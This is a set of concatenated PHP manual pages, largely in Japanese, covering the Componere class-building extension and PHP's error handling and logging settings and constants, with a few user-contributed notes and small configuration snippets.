A case insensitive class name

parent

A case insensitive class name

interfaces

An array of case insensitive class names

Exceptions

警告

Shall throw InvalidArgumentException if an attempt is made to replace an internal class

警告

Shall throw InvalidArgumentException if an attempt is made to replace an interface

警告

Shall throw InvalidArgumentException if an attempt is made to replace a trait

警告

Shall throw RuntimeException if a class in interfaces cannot be found

警告

Shall throw RuntimeException if an class in interfaces is not an interface

User Contributed Notes

There are no user contributed notes for this page.


Add Constant

  • ≪ Componere\Definition::__construct
  • Componere\Definition::addProperty ≫
  • PHP Manual
  • Componere\Definition
  • Add Constant

Componere\Definition::addConstant

(Componere 2 >= 2.1.0)

Componere\Definition::addConstant — Add Constant

説明

public Componere\Definition::addConstant ( string $name , Componere\Value $value ) : Definition

Shall declare a class constant on the current Definition

パラメータ

name

The case sensitive name for the constant

value

The Value for the constant, must not be undefined or static

返り値

The current Definition

Exceptions

警告

Shall throw RuntimeException if Definition was registered

警告

Shall throw RuntimeException if name is already declared as a constant

警告

Shall throw RuntimeException if value is static

警告

Shall throw RuntimeException if value is undefined

User Contributed Notes

There are no user contributed notes for this page.


Add Property

  • ≪ Componere\Definition::addConstant
  • Componere\Definition::register ≫
  • PHP Manual
  • Componere\Definition
  • Add Property

Componere\Definition::addProperty

(Componere 2 >= 2.1.0)

Componere\Definition::addProperty — Add Property

説明

public Componere\Definition::addProperty ( string $name , Componere\Value $value ) : Definition

Shall declare a class property on the current Definition

パラメータ

name

The case sensitive name for the property

value

The default Value for the property

返り値

The current Definition

Exceptions

警告

Shall throw RuntimeException if Definition was registered

警告

Shall throw RuntimeException if name is already declared as a property

User Contributed Notes

There are no user contributed notes for this page.


Registration

  • ≪ Componere\Definition::addProperty
  • Componere\Definition::isRegistered ≫
  • PHP Manual
  • Componere\Definition
  • Registration

Componere\Definition::register

(Componere 2 >= 2.1.0)

Componere\Definition::register — Registration

説明

public Componere\Definition::register ( ) : void

Shall register the current Definition

Exceptions

警告

Shall throw RuntimeException if Definition was registered

User Contributed Notes

There are no user contributed notes for this page.


State Detection

  • ≪ Componere\Definition::register
  • Componere\Definition::getClosure ≫
  • PHP Manual
  • Componere\Definition
  • State Detection

Componere\Definition::isRegistered

(Componere 2 >= 2.1.0)

Componere\Definition::isRegistered — State Detection

説明

public Componere\Definition::isRegistered ( ) : bool

Shall detect the registration state of this Definition

返り値

Shall return true if this Definition is registered

User Contributed Notes

There are no user contributed notes for this page.


Get Closure

  • ≪ Componere\Definition::isRegistered
  • Componere\Definition::getClosures ≫
  • PHP Manual
  • Componere\Definition
  • Get Closure

Componere\Definition::getClosure

(Componere 2 >= 2.1.0)

Componere\Definition::getClosure — Get Closure

説明

public Componere\Definition::getClosure ( string $name ) : Closure

Shall return a Closure for the method specified by name

パラメータ

name

The case insensitive name of the method

返り値

A Closure bound to the correct scope

Exceptions

警告

Shall throw RuntimeException if Definition was registered

警告

Shall throw RuntimeException if name could not be found

User Contributed Notes

There are no user contributed notes for this page.


Get Closures

  • ≪ Componere\Definition::getClosure
  • Componere\Patch ≫
  • PHP Manual
  • Componere\Definition
  • Get Closures

Componere\Definition::getClosures

(Componere 2 >= 2.1.0)

Componere\Definition::getClosures — Get Closures

説明

public Componere\Definition::getClosures ( ) : array

Shall return an array of Closures

返り値

Shall return all methods as an array of Closure objects bound to the correct scope

Exceptions

警告

Shall throw RuntimeException if Definition was registered

User Contributed Notes

There are no user contributed notes for this page.


The Componere\Patch class

(Componere 2 >= 2.1.0)

はじめに

The Patch class allows the programmer to change the type of an instance at runtime without registering a new Definition

When a Patch is destroyed it is reverted, so that instances that were patched during the lifetime of the Patch are restored to their formal type.

クラス概要

final Componere\Patch extends Componere\Abstract\Definition {
/* Constructors */
public __construct ( object $instance )
public __construct ( object $instance , array $interfaces )
/* メソッド */
public apply ( ) : void
public revert ( ) : void
public isApplied ( ) : bool
public derive ( object $instance ) : Patch
public getClosure ( string $name ) : Closure
public getClosures ( ) : array
/* 継承したメソッド */
public Componere\Abstract\Definition::addInterface ( string $interface ) : Definition
public Componere\Abstract\Definition::addMethod ( string $name , Componere\Method $method ) : Definition
public Componere\Abstract\Definition::addTrait ( string $trait ) : Definition
public Componere\Abstract\Definition::getReflector ( ) : ReflectionClass
}

目次

  • Componere\Patch::__construct — Patch Construction
  • Componere\Patch::apply — Application
  • Componere\Patch::revert — Reversal
  • Componere\Patch::isApplied — State Detection
  • Componere\Patch::derive — Patch Derivation
  • Componere\Patch::getClosure — Get Closure
  • Componere\Patch::getClosures — Get Closures

User Contributed Notes

There are no user contributed notes for this page.


Patch Construction

  • ≪ Componere\Patch
  • Componere\Patch::apply ≫
  • PHP Manual
  • Componere\Patch
  • Patch Construction

Componere\Patch::__construct

(Componere 2 >= 2.1.0)

Componere\Patch::__construct — Patch Construction

説明

public Componere\Patch::__construct ( object $instance )
public Componere\Patch::__construct ( object $instance , array $interfaces )

パラメータ

instance

The target for this Patch

interfaces

A case insensitive array of class names

Exceptions

警告

Shall throw RuntimeException if a class in interfaces cannot be found

警告

Shall throw RuntimeException if an class in interfaces is not an interface

User Contributed Notes

There are no user contributed notes for this page.


Application

  • ≪ Componere\Patch::__construct
  • Componere\Patch::revert ≫
  • PHP Manual
  • Componere\Patch
  • Application

Componere\Patch::apply

(Componere 2 >= 2.1.0)

Componere\Patch::apply — Application

説明

public Componere\Patch::apply ( ) : void

Shall apply the current patch

User Contributed Notes

There are no user contributed notes for this page.


Reversal

  • ≪ Componere\Patch::apply
  • Componere\Patch::isApplied ≫
  • PHP Manual
  • Componere\Patch
  • Reversal

Componere\Patch::revert

(Componere 2 >= 2.1.0)

Componere\Patch::revert — Reversal

説明

public Componere\Patch::revert ( ) : void

Shall revert the current patch

User Contributed Notes

There are no user contributed notes for this page.


State Detection

  • ≪ Componere\Patch::revert
  • Componere\Patch::derive ≫
  • PHP Manual
  • Componere\Patch
  • State Detection

Componere\Patch::isApplied

(Componere 2 >= 2.1.0)

Componere\Patch::isApplied — State Detection

説明

public Componere\Patch::isApplied ( ) : bool

User Contributed Notes

There are no user contributed notes for this page.


Patch Derivation

  • ≪ Componere\Patch::isApplied
  • Componere\Patch::getClosure ≫
  • PHP Manual
  • Componere\Patch
  • Patch Derivation

Componere\Patch::derive

(Componere 2 >= 2.1.1)

Componere\Patch::derive — Patch Derivation

説明

public Componere\Patch::derive ( object $instance ) : Patch

Shall derive a Patch for the given instance

パラメータ

instance

The target for the derived Patch

返り値

Patch for instance derived from the current Patch

Exceptions

警告

Shall throw InvalidArgumentException if instance is not compatible

User Contributed Notes

There are no user contributed notes for this page.


Get Closure

  • ≪ Componere\Patch::derive
  • Componere\Patch::getClosures ≫
  • PHP Manual
  • Componere\Patch
  • Get Closure

Componere\Patch::getClosure

(Componere 2 >= 2.1.0)

Componere\Patch::getClosure — Get Closure

説明

public Componere\Patch::getClosure ( string $name ) : Closure

Shall return a Closure for the method specified by name

パラメータ

name

The case insensitive name of the method

返り値

A Closure bound to the correct scope and object

Exceptions

警告

Shall throw RuntimeException if name could not be found

User Contributed Notes

There are no user contributed notes for this page.


Get Closures

  • ≪ Componere\Patch::getClosure
  • Componere\Method ≫
  • PHP Manual
  • Componere\Patch
  • Get Closures

Componere\Patch::getClosures

(Componere 2 >= 2.1.0)

Componere\Patch::getClosures — Get Closures

説明

public Componere\Patch::getClosures ( ) : array

Shall return an array of Closures

返り値

Shall return all methods as an array of Closure objects bound to the correct scope and object

User Contributed Notes

There are no user contributed notes for this page.


The Componere\Method class

(Componere 2 >= 2.1.0)

はじめに

A Method represents a function with modifiable accessibility flags

クラス概要

final Componere\Method {
/* Constructor */
public __construct ( Closure $closure )
/* メソッド */
public setPrivate ( ) : Method
public setProtected ( ) : Method
public setStatic ( ) : Method
public getReflector ( ) : ReflectionMethod
}

目次

  • Componere\Method::__construct — Method Construction
  • Componere\Method::setPrivate — Accessibility Modification
  • Componere\Method::setProtected — Accessibility Modification
  • Componere\Method::setStatic — Accessibility Modification
  • Componere\Method::getReflector — Reflection

User Contributed Notes

There are no user contributed notes for this page.


Method Construction

  • ≪ Componere\Method
  • Componere\Method::setPrivate ≫
  • PHP Manual
  • Componere\Method
  • Method Construction

Componere\Method::__construct

(Componere 2 >= 2.1.0)

Componere\Method::__construct — Method Construction

説明

public Componere\Method::__construct ( Closure $closure )

パラメータ

closure

User Contributed Notes

There are no user contributed notes for this page.


Accessibility Modification

  • ≪ Componere\Method::__construct
  • Componere\Method::setProtected ≫
  • PHP Manual
  • Componere\Method
  • Accessibility Modification

Componere\Method::setPrivate

(Componere 2 >= 2.1.0)

Componere\Method::setPrivate — Accessibility Modification

説明

public Componere\Method::setPrivate ( ) : Method

返り値

The current Method

Exceptions

警告

Shall throw RuntimeException if access level was previously set

User Contributed Notes

There are no user contributed notes for this page.


Accessibility Modification

  • ≪ Componere\Method::setPrivate
  • Componere\Method::setStatic ≫
  • PHP Manual
  • Componere\Method
  • Accessibility Modification

Componere\Method::setProtected

(Componere 2 >= 2.1.0)

Componere\Method::setProtected — Accessibility Modification

説明

public Componere\Method::setProtected ( ) : Method

返り値

The current Method

Exceptions

警告

Shall throw RuntimeException if access level was previously set

User Contributed Notes

There are no user contributed notes for this page.


Accessibility Modification

  • ≪ Componere\Method::setProtected
  • Componere\Method::getReflector ≫
  • PHP Manual
  • Componere\Method
  • Accessibility Modification

Componere\Method::setStatic

(Componere 2 >= 2.1.0)

Componere\Method::setStatic — Accessibility Modification

説明

public Componere\Method::setStatic ( ) : Method

返り値

The current Method

User Contributed Notes

There are no user contributed notes for this page.


Reflection

  • ≪ Componere\Method::setStatic
  • Componere\Value ≫
  • PHP Manual
  • Componere\Method
  • Reflection

Componere\Method::getReflector

(Componere 2 >= 2.1.0)

Componere\Method::getReflector — Reflection

説明

public Componere\Method::getReflector ( ) : ReflectionMethod

Shall create or return a ReflectionMethod

返り値

A ReflectionMethod for the current method (cached)

User Contributed Notes

There are no user contributed notes for this page.


The Componere\Value class

(Componere 2 >= 2.1.0)

はじめに

A Value represents a PHP variable of all types, including undefined

クラス概要

final Componere\Value {
/* Constructor */
public __construct ( $default = ? )
/* メソッド */
public setPrivate ( ) : Value
public setProtected ( ) : Value
public setStatic ( ) : Value
public isPrivate ( ) : bool
public isProtected ( ) : bool
public isStatic ( ) : bool
public hasDefault ( ) : bool
}

目次

  • Componere\Value::__construct — Value Construction
  • Componere\Value::setPrivate — Accessibility Modification
  • Componere\Value::setProtected — Accessibility Modification
  • Componere\Value::setStatic — Accessibility Modification
  • Componere\Value::isPrivate — Accessibility Detection
  • Componere\Value::isProtected — Accessibility Detection
  • Componere\Value::isStatic — Accessibility Detection
  • Componere\Value::hasDefault — Value Interaction

User Contributed Notes

There are no user contributed notes for this page.


Value Construction

  • ≪ Componere\Value
  • Componere\Value::setPrivate ≫
  • PHP Manual
  • Componere\Value
  • Value Construction

Componere\Value::__construct

(Componere 2 >= 2.1.0)

Componere\Value::__construct — Value Construction

説明

public Componere\Value::__construct ( $default = ? )

パラメータ

default

Exceptions

警告

Shall throw InvalidArgumentException if default does not have a suitable value

User Contributed Notes

There are no user contributed notes for this page.


Accessibility Modification

  • ≪ Componere\Value::__construct
  • Componere\Value::setProtected ≫
  • PHP Manual
  • Componere\Value
  • Accessibility Modification

Componere\Value::setPrivate

(Componere 2 >= 2.1.0)

Componere\Value::setPrivate — Accessibility Modification

説明

public Componere\Value::setPrivate ( ) : Value

返り値

The current Value

Exceptions

警告

Shall throw RuntimeException if access level was previously set

User Contributed Notes

There are no user contributed notes for this page.


Accessibility Modification

  • ≪ Componere\Value::setPrivate
  • Componere\Value::setStatic ≫
  • PHP Manual
  • Componere\Value
  • Accessibility Modification

Componere\Value::setProtected

(Componere 2 >= 2.1.0)

Componere\Value::setProtected — Accessibility Modification

説明

public Componere\Value::setProtected ( ) : Value

返り値

The current Value

Exceptions

警告

Shall throw RuntimeException if access level was previously set

User Contributed Notes

There are no user contributed notes for this page.


Accessibility Modification

  • ≪ Componere\Value::setProtected
  • Componere\Value::isPrivate ≫
  • PHP Manual
  • Componere\Value
  • Accessibility Modification

Componere\Value::setStatic

(Componere 2 >= 2.1.0)

Componere\Value::setStatic — Accessibility Modification

説明

public Componere\Value::setStatic ( ) : Value

返り値

The current Value

User Contributed Notes

There are no user contributed notes for this page.


Accessibility Detection

  • ≪ Componere\Value::setStatic
  • Componere\Value::isProtected ≫
  • PHP Manual
  • Componere\Value
  • Accessibility Detection

Componere\Value::isPrivate

(Componere 2 >= 2.1.0)

Componere\Value::isPrivate — Accessibility Detection

説明

public Componere\Value::isPrivate ( ) : bool

User Contributed Notes

There are no user contributed notes for this page.


Accessibility Detection

  • ≪ Componere\Value::isPrivate
  • Componere\Value::isStatic ≫
  • PHP Manual
  • Componere\Value
  • Accessibility Detection

Componere\Value::isProtected

(Componere 2 >= 2.1.0)

Componere\Value::isProtected — Accessibility Detection

説明

public Componere\Value::isProtected ( ) : bool

User Contributed Notes

There are no user contributed notes for this page.


Accessibility Detection

  • ≪ Componere\Value::isProtected
  • Componere\Value::hasDefault ≫
  • PHP Manual
  • Componere\Value
  • Accessibility Detection

Componere\Value::isStatic

(Componere 2 >= 2.1.0)

Componere\Value::isStatic — Accessibility Detection

説明

public Componere\Value::isStatic ( ) : bool

User Contributed Notes

There are no user contributed notes for this page.


Value Interaction

  • ≪ Componere\Value::isStatic
  • Componere 関数 ≫
  • PHP Manual
  • Componere\Value
  • Value Interaction

Componere\Value::hasDefault

(Componere 2 >= 2.1.0)

Componere\Value::hasDefault — Value Interaction

説明

public Componere\Value::hasDefault ( ) : bool

User Contributed Notes

There are no user contributed notes for this page.


Componere 関数

目次

  • Componere\cast — Casting
  • Componere\cast_by_ref — Casting

User Contributed Notes

There are no user contributed notes for this page.


Casting

  • ≪ Componere 関数
  • Componere\cast_by_ref ≫
  • PHP Manual
  • Componere 関数
  • Casting

Componere\cast

(Componere 2 >= 2.1.2)

Componere\cast — Casting

説明

Componere\cast ( Type $type , $object ) : Type

パラメータ

type

A user defined type

object

An object with a user defined type compatible with Type

返り値

An object of type Type, cast from object

Exceptions

警告

Shall throw InvalidArgumentException if the type of object is or is derived from an internal class

警告

Shall throw InvalidArgumentException if Type is an interface

警告

Shall throw InvalidArgumentException if Type is a trait

警告

Shall throw InvalidArgumentException if Type is an abstract

警告

Shall throw InvalidArgumentException if Type is not compatible with the type of object

参考

  • Componere\cast_by_ref

User Contributed Notes

There are no user contributed notes for this page.


Casting

  • ≪ Componere\cast
  • エラー処理 ≫
  • PHP Manual
  • Componere 関数
  • Casting

Componere\cast_by_ref

(Componere 2 >= 2.1.2)

Componere\cast_by_ref — Casting

説明

Componere\cast_by_ref ( Type $type , $object ) : Type

パラメータ

type

A user defined type

object

An object with a user defined type compatible with Type

返り値

An object of type Type, cast from object, where members are references to object members

Exceptions

警告

Shall throw InvalidArgumentException if the type of object is or is derived from an internal class

警告

Shall throw InvalidArgumentException if Type is an interface

警告

Shall throw InvalidArgumentException if Type is a trait

警告

Shall throw InvalidArgumentException if Type is an abstract

警告

Shall throw InvalidArgumentException if Type is not compatible with the type of object

参考

  • Componere\cast

User Contributed Notes

There are no user contributed notes for this page.


エラー処理およびログ記録

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • エラー処理関数
    • debug_backtrace — バックトレースを生成する
    • debug_print_backtrace — バックトレースを表示する
    • error_clear_last — 最も最近のエラーをクリア
    • error_get_last — 最後に発生したエラーを取得する
    • error_log — 定義されたエラー処理ルーチンにエラーメッセージを送信する
    • error_reporting — 出力する PHP エラーの種類を設定する
    • restore_error_handler — 以前のエラーハンドラ関数を回復する
    • restore_exception_handler — 以前の例外ハンドラ関数を回復する
    • set_error_handler — ユーザー定義のエラーハンドラ関数を設定する
    • set_exception_handler — ユーザー定義の例外ハンドラ関数を設定する
    • trigger_error — ユーザーレベルのエラー/警告/通知メッセージを生成する
    • user_error — trigger_error のエイリアス

User Contributed Notes

There are no user contributed notes for this page.


はじめに

以下の関数は、エラー処理およびログ記録を行います。これらの関数によ り、独自のエラー処理規則を定義することが可能になり、同時にエラーの ログを記録する方法を修正することが可能になります。これにより、ニーズに 即したエラー出力の変更と拡張が可能になります。

ログ記録関数により他のマシンやemail(またはポケベルのゲートウエイ に!)、システムログ等に直接メッセージを送信することが可能になります。 これにより、ログを行うものを選択したり、アプリケーションやWebサイ トに最も重要な部分をモニタすることが可能になります。

エラー出力関数により、エラーのフィードバックのレベルと種類、 簡単な通知からカスタマイズされた関数までエラーの際に返すもの をカスタマイズすることが可能になります。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

PHP コアに含まれるため、 追加のインストール無しで使用できます。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

エラーおよびロギング設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
error_reporting | NULL | PHP_INI_ALL |
display_errors | "1" | PHP_INI_ALL |
display_startup_errors | "0" | PHP_INI_ALL |
log_errors | "0" | PHP_INI_ALL |
log_errors_max_len | "1024" | PHP_INI_ALL |
ignore_repeated_errors | "0" | PHP_INI_ALL |
ignore_repeated_source | "0" | PHP_INI_ALL |
report_memleaks | "1" | PHP_INI_ALL |
track_errors | "0" | PHP_INI_ALL |  | PHP 7.2.0 以降では非推奨になりました。
html_errors | "1" | PHP_INI_ALL |
xmlrpc_errors | "0" | PHP_INI_SYSTEM |
xmlrpc_error_number | "0" | PHP_INI_ALL |
docref_root | "" | PHP_INI_ALL |
docref_ext | "" | PHP_INI_ALL |
error_prepend_string | NULL | PHP_INI_ALL |
error_append_string | NULL | PHP_INI_ALL |
error_log | NULL | PHP_INI_ALL |
syslog.facility | "LOG_USER" | PHP_INI_SYSTEM | PHP 7.3.0 以降で有効です。
syslog.filter | "no-ctrl" | PHP_INI_ALL | PHP 7.3.0 以降で有効です。
syslog.ident | "php" | PHP_INI_SYSTEM | PHP 7.3.0 以降で有効です。
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブの簡単な説明を示します。

error_reporting int

エラー出力レベルを設定します。パラメータは、あるビットフィールドを表 す整数か定数名で指定します。このerror_reportingのレベルと定数は、 定義済の定数および php.iniに記述されています。 実行時に設定するには、 error_reporting() 関数を指定してください。 display_errors ディレクティブも参照してください。

PHP 5.3 以降のデフォルトは E_ALL & ~E_NOTICE & ~E_STRICT & ~E_DEPRECATED です。 この設定では E_NOTICE や E_STRICT、そして E_DEPRECATED レベルのエラーは出力されません。開発時にはこのエラーを表示させたい場合もあるかもしれません。 PHP 5.3.0 以前では、E_ALL & ~E_NOTICE & ~E_STRICT がデフォルトです。

注意:

開発時にE_NOTICEを有効にすることにはいくつ かの利点があります。デバッグのために、NOTICE メッセージはコード の中のバグの可能性について警告を与えます。例えば、代入されていな い値を使用した場合は、警告を発生します。 これは、書き間違いを見付け、デバッグの時間を節約するために非常 に有用です。NOTICEメッセージは、好ましくないコードに警告します。 例えば、$arr[item] は $arr['item'] と書く方が好ましいです。 これは、PHPが "item" を定数として取り扱うためです。 定数でない場合、PHPは配列の添字用の文字列と判断します。

注意:

PHP 5.4.0 より前のバージョンの場合は E_ALL に E_STRICT が含まれないため、 PHP < 5.4.0 では明示的にこのエラーレベルを設定する必要があります。 開発中に E_STRICT を有効にすることはいくつかの利点があります。 STRICT メッセージの提案に従えば、コードの相互運用性を高めて将来のバージョンでも動くようする助けとなります。 メッセージに含まれる内容は、静的でないメソッドを静的に呼び出していたり 利用中のトレイトで定義しているプロパティをクラス定義でも行っていたりといった内容です。 また、PHP 5.3 より前のバージョンでは、 非推奨の機能 (インスタンス化の際にオブジェクトを参照で代入するなど) を使ったときにも E_STRICT エラーが発生していました。

注意: PHP 定数の、PHP 以外での使用

PHP の定数を、httpd.conf など PHP の外部で使用しても何の意味もありません。外部で使用する場合には、 int 型の値を指定しなければなりません。 また、エラーレベルはこれからも追加されることがあるので、 最大値 (E_ALL に対応する値) は変わる可能性があります。そこで、E_ALL を指定する場面では 2147483647 (E_ALL だけではなくすべてのエラーを含める) のような数を指定するようにしましょう。 これは現状の全ビットに対応した上で、かつ値が将来追加された場合にも対応できます。

display_errors string

エラーをHTML出力の一部として画面に出力するかどうかを定義します。

"stderr" を指定すると、エラーの内容を stdout (標準出力) ではなく stderr (標準エラー出力) に送ります。この値は PHP 5.2.4 以降で使用可能です。それより前のバージョンでは、 このディレクティブは bool 型でした。

注意:

開発をサポートする仕組みであり、本番のシステムでは 使用すべきではありません (例えばインターネットに接続されたシステムなど)。

注意:

display_errors は実行時にも設定可能（ini_set() 関数を用いて）ですが、スクリプトが致命的（fatal）なエラーを発生した場合は その設定は反映されません。なぜなら、要求されたアクションは 実行されなかったからです。

display_startup_errors bool

display_errorsをonにした場合でも、PHPの起動シーケンスにおいて発 生したエラーは表示されません。デバッグ時を除き、 display_startup_errorsをoffにしておくことが強く推奨されます。

log_errors bool

エラーメッセージを、サーバーのエラーログまたはerror_logに記録するかどうかを指定 します。このオプションはサーバーに依存します。

注意:

実用Webサイトではエラー表示を行う代わりにエラーを記録することを 強く推奨します。

log_errors_max_len int

log_errorsの最大長をバイト単位で設定します。 error_log には、 この設定で情報が追加されます。デフォルトは 1024 で、0 を指定すると 最大長の制限は全く適用されなくなります。 この長さはエラーログへの記録や エラーの表示、そして $php_errormsg に適用されます。 しかし、明示的に呼び出される error_log() のような関数には適用されません。

intを使用する際、 その値はバイト単位で測られます。 この FAQ に記載された 短縮表記を使用することも可能です。
ignore_repeated_errors bool

繰り返されるメッセージを記録しません。エラーの繰り返しは、 ignore_repeated_sourceが trueに設定されるまで同じファイルの同じ行で発生します。

ignore_repeated_source bool

メッセージの繰り返しを無視する場合にメッセージのソースを無視しま す。この設定をOnにすると、異なるファイルまたはソース行からの同じ エラーメッセージの繰り返しを記録しなくなります。

report_memleaks bool

このパラメータを On (デフォルト) にすると、Zend メモリマネージャーが検出した メモリリークの報告を表示します。この報告は、Posix プラットフォームでは標準エラー出力に送られます。 Windows では、デバッガに OutputDebugString() を使って送られ、 » DbgView のようなツールで見ることができます。 このパラメータが使えるのはデバッグビルドだけであり、かつ error_reporting で E_WARNING を有効にしている場合のみです。

track_errors bool

有効にした場合、直近のエラーメッセージが、 $php_errormsg 変数に常に代入されます。

html_errors bool

有効にすると、エラーメッセージにHTMLタグが含まれるようになります。 HTML形式のエラーメッセージでは、ユーザーがエラーまたはエラーを発生した関数を説明するページ に導くようクリック可能なメッセージを出力します。これらのリファレ ンスは、docref_root およ び docref_extの設定に依存 します。

無効にすると、エラーメッセージは単なるプレーンテキストになります。

xmlrpc_errors bool

有効にすると、通常のエラー報告を無効にして XML-RPC 形式のエラーメッセージとします。

xmlrpc_error_number int

XML-RPC の faultCode 要素の値として使用します。

docref_root string

新しいエラーフォーマットはエラーやエラーの原因となった関数に関するマニュアル のページの情報を含んでいます。マニュアルのページによっては母国語でダウンロードが 可能であり、このiniディレクティブをマニュアルのローカルコピーのURLにセット することができます。 マニュアルのローカルコピーが "/manual/" でアクセスできるとすると、単に docref_root=/manual/とするだけです。 ローカルコピーのファイルの拡張子はdocref_ext=.html で指定できます。拡張リファレンスを使用することもできます。例えば docref_root=http://manual/en/または docref_root="http://landonize.it/?how=url&theme=classic&filter=Landon&url=http%3A%2F%2Fwww.php.net%2F"が使用できます。

ほとんどの場合 docref_root の値の最後を "/" にしようと思うでしょう。 しかし上の二つ目の例を見ではその必要はありません。

docref_ext string

docref_rootを参照して下さ い。

注意:

docref_extの値はドット "." で始まる必要があります。

error_prepend_string string

エラーメッセージの前に出力する文字列。

error_append_string string

エラーメッセージの後に出力する文字列。

error_log string

スクリプトエラーが記録されるファイル名です。 ファイルはウェブサーバーユーザーで書き込めなければなりません。 syslog が指定されると、エラーはファイルではなく システムロガーに送られます。これは Unix では syslog(3) であり Windows ではイベントログのことです。 syslog() も参照してください。 このディレクティブが設定されていない場合、エラーは SAPI エラーロガーに送信されます。これは、例えば Apache のエラーログ、 あるいは CLI なら stderr になります。 error_log() も参照ください。

syslog.facility string

どの種類のプログラムがメッセージを記録するのかを指定します。 error_log が "syslog" の場合にだけ有効です。

syslog.filter string

記録されたメッセージをフィルタリングするフィルターの種類を指定します。 フィルターで許可された文字はそのまま記録されますが、許可されていない文字は \x で始まる十六進表記に変換して記録されます。 サポートするフィルターは次の三種類です。

  • all - すべての文字を許可する
  • no-ctrl - 制御文字以外のすべての文字を許可する
  • ascii - 印刷可能な ASCII 文字および NL だけを許可する
error_log が "syslog" の場合にだけ有効です。

syslog.ident string

すべての文字列の先頭に追加する識別用文字列を指定します。 error_log が "syslog" の場合にだけ有効です。

User Contributed Notes

Roger 18-Jul-2019 02:57
When `error_log` is set to a file path, log messages will automatically be prefixed with timestamp [DD-MMM-YYYY HH:MM:SS UTC].  This appears to be hard-coded, with no formatting options.
ohcc at 163 dot com 09-Dec-2016 12:57
If you set the error_log directive to a relative path, it is a path relative to the document root rather than php's containing folder.
jaymore at gmail dot com 02-Dec-2016 10:14
Document says
So in place of E_ALL consider using a larger value to cover all bit fields from now and well into the future, a numeric value like 2147483647 (includes all errors, not just E_ALL).

But it is better to set "-1" as the E_ALL value.
For example, in httpd.conf or .htaccess, use
php_value error_reporting -1
to report all kind of error without be worried by the PHP version.
php dot net at sp-in dot dk 27-Nov-2014 09:59
There does not appear to be a way to set a tag / ident / program for log entries in the ini file when using error_log=syslog.  When I test locally, "apache2" is used.
However, calling openlog() with an ident parameter early in your script (or using an auto_prepend_file) will make PHP use that value for all subsequent log entries. closelog() will restore the original tag.

This can be done for setting facility as well, although the original value does not seem to be restored by closelog().
cjakeman at bcs dot org 17-Mar-2009 01:06
Using
<?php ini_set('display_errors', 1); ?>
at the top of your script will not catch any parse errors. A missing ")" or ";" will still lead to a blank page.

This is because the entire script is parsed before any of it is executed. If you are unable to change php.ini and set

display_errors On

then there is a possible solution suggested under error_reporting:

<?php
 error_reporting(E_ALL);
 ini_set("display_errors", 1);
 include("file_with_errors.php");
?>

[Modified by moderator]

You should also consider setting error_reporting = -1 in your php.ini and display_errors = On if you are in development mode to see all fatal/parse errors or set error_log to your desired file to log errors instead of display_errors in production (this requires log_errors to be turned on).


定義済み定数

以下の定数は、PHP コアに含まれており、常に利用可能です。

注意: 以下の定数をphp.iniで使用することができますが、 httpd.confのようなPHPの外部では、 代わりにビットマスク値を使用する必要があります。

エラーとロギング
値 | 定数 | 説明 | 注記
1 | E_ERROR (int) | 重大な実行時エラー。これは、メモリ確保に関する問題のように復帰で きないエラーを示します。スクリプトの実行は中断されます。 |
2 | E_WARNING (int) | 実行時の警告 (致命的なエラーではない)。スクリプトの実行は中断さ れません。 |
4 | E_PARSE (int) | コンパイル時のパースエラー。パースエラーはパーサでのみ生成されま す。 |
8 | E_NOTICE (int) | 実行時の警告。エラーを発しうる状況に遭遇したことを示す。 ただし通常のスクリプト実行の場合にもこの警告を発することがありうる。 |
16 | E_CORE_ERROR (int) | PHPの初期始動時点での致命的なエラー。E_ERRORに 似ているがPHPのコアによって発行される点が違う。 |
32 | E_CORE_WARNING (int) | （致命的ではない）警告。PHPの初期始動時に発生する。 E_WARNINGに似ているがPHPのコアによって発行される 点が違う。 |
64 | E_COMPILE_ERROR (int) | コンパイル時の致命的なエラー。E_ERRORに 似ているがZendスクリプティングエンジンによって発行される点が違う。 |
128 | E_COMPILE_WARNING (int) | コンパイル時の警告（致命的ではない）。E_WARNINGに 似ているがZendスクリプティングエンジンによって発行される点が違う。 |
256 | E_USER_ERROR (int) | ユーザーによって発行されるエラーメッセージ。E_ERROR に似ているがPHPコード上でtrigger_error()関数を 使用した場合に発行される点が違う。 |
512 | E_USER_WARNING (int) | ユーザーによって発行される警告メッセージ。E_WARNING に似ているがPHPコード上でtrigger_error()関数を 使用した場合に発行される点が違う。 |
1024 | E_USER_NOTICE (int) | ユーザーによって発行される注意メッセージ。E_NOTICEに に似ているがPHPコード上でtrigger_error()関数を 使用した場合に発行される点が違う。 |
2048 | E_STRICT (int) | コードの相互運用性や互換性を維持するために PHP がコードの変更を提案する。 | PHP 5.4.0 より前のバージョンでは、E_ALL に含まれていませんでした
4096 | E_RECOVERABLE_ERROR (int) | キャッチできる致命的なエラー。危険なエラーが発生したが、 エンジンが不安定な状態になるほどではないことを表す。 ユーザー定義のハンドラでエラーがキャッチされなかった場合 (set_error_handler() も参照ください) は、 E_ERROR として異常終了する。 | PHP 5.2.0 より
8192 | E_DEPRECATED (int) | 実行時の注意。これを有効にすると、 将来のバージョンで動作しなくなるコードについての警告を受け取ることができる。 | PHP 5.3.0 より
16384 | E_USER_DEPRECATED (int) | ユーザー定義の警告メッセージ。これは E_DEPRECATED と同等だが、 PHP のコード上で関数 trigger_error() によって作成されるという点が異なる。 | PHP 5.3.0 より
32767 | E_ALL (int) | サポートされる全てのエラーと警告。 PHP 5.4.0 より前のバージョンでは、E_STRICT レベルのエラーは除く。 | PHP 5.4.x では 32767、 PHP 5.3.x では 30719、 PHP 5.2.x では 6143、 それより前のバージョンでは 2047 でした。

上記の値（数値も論理値も）はどのエラーをレポートするかを指定する ビットマスクを組み立てる。ビット演算子 を使用して値を組み合わせたり特定のエラータイプをマスクすることができる。 php.ini では'|', '~', '!', '^' and '&'のみが解釈されることに 注意すべきである。

User Contributed Notes

ErikBachmann 19-Jun-2019 10:39
A shorter version of vladvarna's FriendlyErrorType($type)
<?php
function getErrorTypeByValue($type) {
    $constants  = get_defined_constants(true);

    foreach ( $constants['Core'] as $key => $value ) { // Each Core constant
        if ( preg_match('/^E_/', $key  ) ) {    // Check error constants
            if ( $type == $value )
                return( "$key=$value");
        }
    }
}   // getErrorTypeByValue()

